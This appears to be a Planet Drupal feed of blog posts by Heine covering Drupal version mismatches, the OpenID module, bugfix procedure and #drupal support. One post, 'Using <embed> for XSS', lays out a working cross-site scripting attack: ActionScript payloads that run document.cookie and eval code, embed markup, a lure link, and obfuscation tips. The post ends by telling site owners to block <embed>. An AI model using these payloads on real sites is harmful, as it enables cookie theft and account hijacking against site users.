Planet Drupal

Upgraded from 6.14 to 6.15, but Drupal still thinks it's 6.14?

Heine — Wed, 13/01/2010 - 23:37

Is your recent Drupal update not taking effect? Drupal still claims to be the old version?

It is probably correct! There's at least one module on your system that claims it is 1) a core module and 2) old. How did this happen? Common scenarios are:

You accidentally restored the old modules folder from a backup.
You tried to overwrite the older install, but this failed for some reason (common on ftp).
You made a backup of core modules inside the modules or sites folder.
You copied a core module to sites/default/modules or sites/[site]/modules to override a core module.
You are looking at the wrong server (embarrassing, but it happens).

Remember, Drupal prefers core files in sites/all/modules or sites/[site]/modules over those in modules when it finds copies.

To identify the actual files in use, check the filename and info columns for core modules in the system table. If you don't like touching your database, install the Update: DOH! module. It will give you a list of filenames and their versions.

Google Friendconnect Drupal module not recommended (yet)

Heine — Tue, 12/01/2010 - 16:01

The Friendconnect module on code.google.com is not suitable for use on production sites. My message to the 36 people who've already downloaded the module:

Test on a local site only!

I'd rather have posted this as a comments on Bertboerland's Friendconnect story, but his server ran out of steam.

6 comments

The OpenID 2.0 Compliance Crusade - Part I

Heine — Mon, 11/01/2010 - 22:50

We released Drupal 6.14 because of a number of vulnerabilities in the OpenID core module. One of those vulnerabilities was caused by not obeying the OpenID 2.0 Authentication specification.

A number of other spec violations was discovered while working on the security issue. This might not be that be surprising, after all, our OpenID implementation was written against a draft, not the final 2.0 specification.

In addition, the issue queue on the OpenID core module hints that the OpenID module is going the way of BlogAPI (another Drupal dodo).

Rather than trying to fix each violation, I decided to correct the immediate issue and then start a belated OpenID 2.0 Compliance Crusade in public, to get our OpenID implementation fully compliant.

Wanna join in? Great! The rest of this post is meant to provide a slightly easier introdcution into the first part of OpenID than the official specs. To prevent disappointment: It's basically a partial retelling of the spec. With this introduction, you should be able to investigate spec violations, and file and review patches for OpenID.

Using <embed> for XSS

Heine — Fri, 30/10/2009 - 18:38

I see a lot less stray <script> tags in the "Allowed HTML tags:" of the HTML filter these days. The <embed> tag is something I still see a lot in misconfigured formats.

It's rather easy to exploit such formats to execute JavaScript with a little bit of ActionScript:

class Main 

{

  static function main(){  

    getURL('javascript:alert(document.cookie)');    

  }

}

Build with an ActionScript 2 compiler (eg Flex SDK), upload to a convenient location *), then make a post on the site that was so careless to allow the <embed> tag:

<embed width="0" height="0" src="http://convenient-location.example.com/XSS.swf" AllowScriptAccess="always"></embed>

Excellent article, it's pleasure to read your blog ?

<a href="http://example.com/fxxgg">FOREX</a>

Now all you have to do is lead the victim to this URL:

<a href="http://victims-site.example.com/your_swf_post">Spam on the forum</a>

If you can't be bothered to change your swf file all the time, you can attempt to create a generic XSS attack that fetches JS from the URL fragment:

class Main 

{

  static function main(){  

    getURL('javascript:eval(document.location.hash.substr(1))');    

  }

}

The victim now has to visit (use a URL shortener for maximum obfuscation):

<a href="http://victims-site.example.com/your_swf_post#alert('another boring alert')">Spam on the forum</a>

That's it folks. Moral of the story: don't allow <embed> use in the HTML filter. If you need to embed videos, employ one of the modules that insert videos from trusted sources and prevent script interaction.

*) Bonus points if you upload the swf to another misconfigured Drupal site! Hint:

"Only files with the following extensions may be uploaded" swf

Bugfix woes for Drupal 6

Heine — Sun, 13/09/2009 - 09:55

The bugfixing procedure for Drupal 6 is, to say the least, "suboptimal".

Witness Issue #261258, that's been with us since Drupal 6.0. Thirteen releases later and the bug is still present.

Why, you ask? Because bugs should be fixed in HEAD (future release of Drupal) first, before being backported to 6.x-dev.

The #drupal consultant

Heine — Thu, 06/08/2009 - 09:22

A gem on the Drupal consulting mailinglist (emphasis added):

[...] when she's come up with the particular (and often peculiar) requirements, I haven't charged for the time I spend [...] chatting about it on #drupal

Well, we didn't charge you for the chat either, did we?

Considering the continued increase of consultants / drupal experts asking questions related to client work on #drupal, I'm done with providing free support there. Unless you work on core, contrib, do something interesting, or try to further Drupal, of course :)

Heine